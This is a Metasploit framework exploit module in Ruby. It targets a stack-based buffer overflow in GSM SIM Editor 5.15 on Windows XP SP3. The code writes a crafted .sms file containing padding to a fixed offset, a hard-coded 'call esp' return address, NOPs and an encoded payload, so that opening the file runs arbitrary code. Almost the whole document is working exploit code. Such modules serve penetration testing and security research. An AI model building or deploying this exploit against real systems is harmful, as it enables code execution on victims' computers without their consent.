##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking
 
 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'GSM SIM Editor 5.15 Buffer Overflow',
   'Description'     => %q{
     This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.
    When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer
    overflow occurs which allows an attacker to execute arbitrary code.
   },
   'License'         => MSF_LICENSE,
   'Author'          =>
    [
     'Ruben Alejandro',
     'chap0 <contact.chap0[at]gmail.com>',
     'Lincoln <lincoln[at]corelan.be>'
    ],
   'References'      =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/14258/' ]
    ],
   'DefaultOptions'  =>
    {
     'ExitFunction' => 'process',
    },
   'Platform'        => 'win',
   'Payload'         =>
    {
     'Space' => 2000,
     'BadChars' => "\x00",
     'DisableNops' => true,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500
    },
   'Targets'         =>
    [
     [ 'Windows XP SP3',
      {
       'Ret'    => 0x00405201, # call esp - SIMEditor.exe
       'Offset' => 810
      }
     ]
    ],
   'Privileged'      => false,
   'DisclosureDate'  => 'Jul 07 2010',
   'DefaultTarget'   => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),
    ], self.class)

 end

 def exploit
  buffer =  rand_text_numeric(target['Offset'])
  buffer << [target.ret].pack('V').unpack("H*")[0]
  buffer << make_nops(30).unpack("H*")[0]
  buffer << payload.encoded.unpack("H*")[0]

  file_create(buffer)
 end

end